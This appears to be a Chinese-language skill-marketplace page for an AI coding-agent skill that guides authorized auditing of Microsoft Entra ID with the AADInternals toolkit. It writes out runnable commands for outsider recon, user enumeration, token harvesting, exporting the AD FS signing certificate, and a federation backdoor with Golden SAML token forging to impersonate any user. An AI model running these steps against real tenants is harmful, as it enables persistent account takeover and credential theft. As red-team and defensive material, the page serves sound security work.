mcpField
A
auditing-entra-id-with-aadinternals

auditing-entra-id-with-aadinternals

github.com/mukul975安全35.2k113 次安装8 周前更新
代码仓库

关于 auditing-entra-id-with-aadinternals

这是一项使用 AADInternals 评估 Microsoft Entra ID、Azure AD Connect 和 AD FS 暴露面的安全测试技能。它以防御验证为导向,涵盖侦察、令牌与目录检查及受控的联合身份测试,并指导记录证据和加固建议。

主要功能

  1. 01无凭据租户侦察
  2. 02获取并缓存 Microsoft API 令牌
  3. 03已认证的目录枚举
  4. 04检查联合身份与 AD FS 配置
  5. 05受控验证 Golden SAML
  6. 06整理暴露情况与加固建议

适用场景

  1. 01在书面授权下评估 Entra ID 或 Microsoft 365
  2. 02记录租户域、联合身份与 SSO 暴露情况
  3. 03检查令牌访问和目录可见性
  4. 04评估联合身份签名密钥保护

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill auditing-entra-id-with-aadinternals

安装后在 Claude Code 中输入/auditing-entra-id-with-aadinternals确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
standards.md
scripts/
agent.py

详细介绍

使用 AADInternals 审计 Entra ID

法律声明: 本技能仅供授权安全测试、红队演练和教育目的使用。AADInternals 可以伪造 SAML 令牌并安装联合身份验证后门,从而实现对任意租户用户的持久化身份冒充。仅可针对你拥有的租户或已获得明确书面授权(交战规则)进行测试的租户使用。未经授权的使用违反《计算机欺诈与滥用法案》及同等法律。

概述

AADInternals 是针对 Microsoft Entra ID(原 Azure AD)、Azure AD Connect 和 Active Directory 联合身份验证服务(AD FS)最全面的攻击/管理 PowerShell 工具包,由 Dr. Nestori Syynimaa(Gerenios / Secureworks)编写。它提供数百个 cmdlet(全部以 AADInt 为前缀),涵盖未认证的外部侦察、针对每个 Microsoft API 的访问令牌获取、目录操作、AD FS/PTA 攻击,以及它最为著名的技术:联合身份验证后门——滥用 Set-MsolDomainFederationSettings / ConvertTo-AADIntBackdoor 路径,使控制联合域 IssuerUri 的攻击者能够为任意用户铸造 SAML 令牌——对应 MITRE ATT&CK T1606.002(伪造 Web 凭据:SAML 令牌),与 SolarWinds(Golden SAML)入侵事件中使用的同类技术。

该工具包按所需位置划分功能。Invoke-AADIntReconAsOutsider 和 Get-AADIntLoginInformation 无需凭据——它们查询公开端点(getuserrealm、OpenID 配置、autodiscover)以揭示已验证域、租户 ID、联合身份验证类型、品牌,以及是否启用了桌面/无缝 SSO。拥有立足点后,Get-AADIntAccessTokenFor* cmdlet 可获取 Azure AD Graph、Microsoft Graph、Exchange Online、SharePoint、Azure Core Management 等的令牌,并可选地缓存它们,以便后续 cmdlet 复用。拥有全局管理员(或已同步的 AD Connect 账户)后,该工具包可以读取目录机密、操作用户,并建立联合身份验证后门。

本技能从防御验证的角度驱动 AADInternals:确认外部攻击者能够了解到什么、低权限令牌能够触达什么,以及联合身份验证/AD FS 配置是否允许 Golden SAML——然后产出证据和加固建议。

何时使用

  • 在获得授权的 Entra ID / Microsoft 365 红队或假定入侵评估期间
  • 在凭据攻击之前枚举外部攻击面(已验证域、联合身份验证类型、SSO)
  • 验证联合身份验证和 AD FS 令牌签名证书是否受到保护以抵御 Golden SAML
  • 测试跨 Microsoft 第一方 API 的令牌获取与重放
  • 在构建检测规则时(与蓝队 Graph 日志狩猎技能配合使用),需要真实的 AADInternals 遥测数据

先决条件

  • 涵盖身份攻击和联合身份验证后门测试的书面授权
  • 装有 PowerShell 5.1+(或受支持子集上的 PowerShell 7)的 Windows 主机
  • 对于后门/联合身份验证测试:目标租户中的全局管理员(或同等权限),且按 ROE 在范围内
  • 从 PowerShell Gallery 安装模块:
    Install-Module AADInternals -Scope CurrentUser
    Import-Module AADInternals
    # Cross-platform AsOutsider-only reimplementation (no creds) is also available:
    #   https://github.com/synacktiv/AADOutsider-py
    
  • 熟悉 SAML/WS-Federation、OAuth 令牌和 Azure AD Connect

目标

  • 执行未认证的租户侦察,并枚举已验证域、租户 ID 和联合身份验证类型
  • 获取并缓存针对 Microsoft 第一方 API 的访问令牌
  • 使用已认证令牌枚举用户/组/角色
  • 以受控、授权的方式测试联合身份验证后门 / Golden SAML 路径
  • 记录暴露情况并交付加固建议(令牌签名证书保护、联合身份验证监控)

MITRE ATT&CK 映射

ID技术在本技能中的应用
T1606.002伪造 Web 凭证:SAML 令牌ConvertTo-AADIntBackdoor + New-AADIntSAMLToken 通过受控的联合身份 IssuerUri 为任意用户伪造 SAML 令牌(Golden SAML)

相关技术:T1087.004 账户发现:云账户(侦察),T1528 窃取应用程序访问令牌(令牌获取),T1556.007 修改身份验证流程:混合身份(联合身份/PTA 后门)。

工作流

步骤 1:未认证的外部侦察

无需凭证。识别已验证域、租户 ID、联合身份类型、品牌和 SSO 状态。

# Full outsider recon for a domain (table output)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table

# Login/realm details: federation vs managed, AuthURL, brand
Get-AADIntLoginInformation -Domain "target.com"

# Tenant GUID
Get-AADIntTenantID -Domain "target.com"
步骤 2:外部用户枚举(可选,易产生噪音)

通过 GetCredentialType / autologon 端点验证用户名是否存在。

# Supply a list of candidate UPNs to test existence
Invoke-AADIntUserEnumerationAsOutsider -UserName "[email protected]"
# Or pipe many:
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider
步骤 3:获取并缓存访问令牌

使用有效凭证(或交互式提示),为你需要的 API 获取令牌。-SaveToCache 让后续 cmdlet 自动复用该令牌。

# Azure AD Graph (legacy graph.windows.net) token, cached
Get-AADIntAccessTokenForAADGraph -SaveToCache

# Microsoft Graph (graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph

# Exchange Online
$exo = Get-AADIntAccessTokenForEXO
步骤 4:已认证的目录枚举

使用缓存/已获取的令牌,读取目录对象以梳理权限。

# Global tenant info (uses cached AAD Graph token)
Get-AADIntTenantDetails

# Enumerate users and look for privileged / synced accounts
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId
步骤 5:检查联合身份 / AD FS 配置

确定租户是否使用联合域,以及令牌签名密钥存放的位置——这是 Golden SAML 的前提条件。

# If you have access to the AD FS server, export the token-signing certificate
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# Read AD FS configuration / encryption keys (on the AD FS box or via DKM)
Get-AADIntADFSConfiguration -Server adfs.target.com
步骤 6:联合身份后门 / Golden SAML(仅限授权场景)

通过设置一个已知的 IssuerUri 将域转换为后门,然后使用该域的 ImmutableId 为目标用户伪造 SAML 令牌。仅在受控租户中、且获得明确授权的情况下使用。

# Requires a Global Admin token (AAD Graph) cached in Step 3
ConvertTo-AADIntBackdoor -DomainName "backdoor.target.com"
# Output includes the IssuerUri to reuse when forging tokens.

# Forge a SAML token impersonating a user (ImmutableId from Get-AADIntUsers)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
    -Issuer "http://backdoor.target.com/adfs/services/trust/" -UseBuiltInCertificate

# Use the forged token to open a portal session as the impersonated user
Open-AADIntOffice365Portal -SAMLToken $saml
步骤 7:记录暴露面并加固

准确记录侦察揭示了什么、哪些令牌/API 可达,以及后门/Golden SAML 路径是否成功。建议:保护 AD FS 令牌签名证书(HSM、限制 DKM 访问),对新增/变更的联合身份信任发出告警,监控 Set-DomainAuthentication/Set-MsolDomainFederationSettings,并在可行的情况下迁移到托管(云)身份验证。

工具与资源

资源用途来源
AADInternalsEntra ID / AD FS 攻击与管理工具包https://github.com/Gerenios/AADInternals
AADInternals 文档Cmdlet 参考与技术说明https://aadinternals.com/aadinternals/
AADOutsider-py跨平台的 AsOutsider 重新实现https://github.com/synacktiv/AADOutsider-py
Golden SAML 背景联合身份后门技术说明https://aadinternals.com/post/aadbackdoor/
MITRE T1606.002伪造 Web 凭证:SAML 令牌https://attack.mitre.org/techniques/T1606/002/

Cmdlet 快速参考

Cmdlet位置用途
Invoke-AADIntReconAsOutsider无已验证域、租户 ID、联合身份类型、SSO
Get-AADIntLoginInformation无域的领域/登录详细信息
Get-AADIntTenantID无租户 GUID
Invoke-AADIntUserEnumerationAsOutsider无验证用户是否存在
Get-AADIntAccessTokenForAADGraph凭证Azure AD Graph 令牌(-SaveToCache)
Get-AADIntAccessTokenForMSGraph凭证Microsoft Graph 令牌
Get-AADIntAccessTokenForEXO凭证Exchange Online 令牌
Get-AADIntUsers令牌枚举目录用户
ConvertTo-AADIntBackdoor全局管理员将域转换为联合身份后门
New-AADIntSAMLToken后门为用户伪造 SAML 令牌(Golden SAML)
Open-AADIntOffice365PortalSAML 令牌以被模拟用户的身份打开门户会话

验证标准

  • 已完成外部侦察;已记录经验证的域、租户 ID 和联合身份验证类型
  • 已测试用户枚举(或记录为超出范围)
  • 已获取访问令牌并至少为一个 Microsoft API 缓存
  • 已执行经身份验证的目录枚举(用户/角色,已记录同步账户)
  • 已评估联合身份验证 / AD FS 配置的令牌签名密钥暴露情况
  • 已在授权的受控租户中测试后门 / Golden SAML 路径,或记录为超出范围
  • 已记录暴露情况及具体影响
  • 已提供加固建议(证书保护、联合身份验证监控、托管身份验证迁移)

评论

支持 Markdown